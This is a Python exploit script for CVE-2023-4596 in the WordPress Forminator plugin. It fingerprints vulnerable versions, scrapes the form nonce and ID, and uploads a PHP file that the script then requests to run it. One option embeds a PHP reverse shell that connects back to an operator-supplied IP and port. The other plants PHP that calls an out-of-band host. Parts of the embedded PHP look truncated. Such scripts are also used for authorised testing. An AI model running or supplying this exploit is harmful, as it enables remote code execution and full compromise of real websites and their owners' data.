import requests import datetime import argparse import re import random import string print(r''' ______ _ _ ______ _____ _____ |@E1A | (_) | | | ___ \/ __ \| ___| | |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__ | _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __| | || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___ \_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/ ''') parser = argparse.ArgumentParser(description="Script to check for CVE-2023-4596") parser.add_argument("-u", required=True, help="Full URL of a page with file upload") parser.add_argument("-v", action="store_true", help="Check for a (vulnerable) version") parser.add_argument("-r", action="store_true", help="Get an reverse shell on the instance") args = parser.parse_args() full_url = args.u # Using regex to split the full url in parts match = re.match(r"(https?://)(.*?)(/.*)?$", full_url) if match: http_prefix = match.group(1) new_domain = http_prefix + match.group(2) page = match.group(3) or "/" else: print("Invalid URL format") exit() # Checking for a (vulnerable) version if args.v: version_check_url = new_domain.rstrip('/') + "/wp-content/plugins/forminator/readme.txt" try: response = requests.get(version_check_url, timeout=5) if response.status_code == 200: readme_content = response.text stable_tag_match = re.search(r"Stable tag:\s*([\d.]+)", readme_content) if stable_tag_match: stable_tag = stable_tag_match.group(1) if stable_tag <= "1.24.6": print("[+] Vulnerable version found:", stable_tag) else: print("[-] Version is not vulnerable:", stable_tag) else: print("[-] Could not determine Stable tag in readme.txt") else: print("[-] Unable to fetch readme.txt:", response.status_code) except requests.RequestException as e: print("[-] An error occurred while fetching readme.txt:", str(e)) exit() url = new_domain + "/wp-admin/admin-ajax.php" # Headers for the request headers = { "Content-Length": "1292", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytsSnyRY1FWmgGHpA", "X-Requested-With": "XMLHttpRequest", } # Generate random filename to prevent multiple files with the same name being uploaded def generate_random_string(length): letters = string.ascii_letters return ''.join(random.choice(letters) for _ in range(length)) random_filename = generate_random_string(10) + ".php" # First request to retrieve the forminator_nonce and the form_id that is needed in the second request initial_response = requests.get(full_url) if initial_response.status_code != 200: print("[-] Unable to fetch the initial page:", initial_response.status_code) exit(1) initial_response_text = initial_response.text # Extracting the forminator_nonce and form_id forminator_nonce_match = re.search(r'forminator_nonce"\s+value="(\b[0-9a-fA-F]{10}\b)"', initial_response_text) if forminator_nonce_match: forminator_nonce = forminator_nonce_match.group(1) else: print("[-] Could not extract forminator_nonce") print("Did you include the complete URL of a webpage that contains a Forminator file upload field in the command?") exit(1) form_id_match = re.search(r'form_id"\s+value="([0-9]+)"', initial_response_text) if form_id_match: form_id = form_id_match.group(1) else: print("[-] Could not extract form_id") exit(1) # print(f"[+] Extracted forminator_nonce: {forminator_nonce}") # print(f"[+] Extracted form_id: {form_id}") if args.r: ip = input("Enter IP address: ") port = input("Enter port: ") # Data for the second request with reverse shell data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}" Content-Type: application/x-php array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {{ printit("ERROR: Can't spawn shell"); exit(1); }} // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {{ // Check for end of TCP connection if (feof($sock)) {{ printit("ERROR: Shell connection terminated"); break; }} // Check for end of STDOUT if (feof($pipes[1])) {{ printit("ERROR: Shell process terminated"); break; }} // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) {{ if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }} // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) {{ if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }} // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) {{ if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }} }} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) {{ if (!$daemon) {{ print "$string\n"; }} }} ?> ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="forminator_nonce" {forminator_nonce} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="_wp_http_referer" {page} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="form_id" {form_id} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="current_url" {new_domain}{page} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="action" forminator_submit_form_custom-forms """ else: interact = input("Input out-of-band link: ").replace("http://", "").replace("https://", "") # Data for the second request for the file upload data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}" Content-Type: application/x-php $output"; ?> ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="forminator_nonce" {forminator_nonce} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="_wp_http_referer" {page} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="form_id" {form_id} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="current_url" {new_domain}{page} ------WebKitFormBoundarytsSnyRY1FWmgGHpA Content-Disposition: form-data; name="action" forminator_submit_form_custom-forms """ # Sending the second request print("\n[+] Sending payload to target") try: response = requests.post(full_url, headers=headers, data=data, timeout=10) if response.status_code == 200: print("[+] Successful file upload!\n") else: print("[-] Server returned an unexpected response:", response.status_code) exit(1) except requests.Timeout: print("[-] Request timed out. Server is unavailable.") exit(1) except requests.RequestException as e: print("[-] An error occurred:", str(e)) exit(1) # File will be uploaded in a folder with the current year and current month, using datetime to get this information and using it to send the request and printing the file location now = datetime.datetime.now() current_year = now.year current_month = str(now.month).zfill(2) uploaded_file_url = f"{new_domain}/wp-content/uploads/{current_year}/{current_month}/{random_filename}" print("Uploaded File Location:", uploaded_file_url) # Sending request to uploaded file to start the script print("\n[+] Sending request to uploaded file...") try: uploaded_file_response = requests.get(uploaded_file_url, timeout=5) # Put this on purpose on a low timeout since it should be directly triggered; if the request fails, something is wrong with your OOB link, if you started an reverse shell it should time out if uploaded_file_response.status_code == 200: print("[+] Successfully triggered the uploaded file!") print("[+] Check for an incoming request") else: print("[-] Server returned an unexpected response:", uploaded_file_response.status_code) exit(1) except requests.Timeout: print("[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell") exit(1) except requests.RequestException as e: print("[-] An error occurred:", str(e)) exit(1)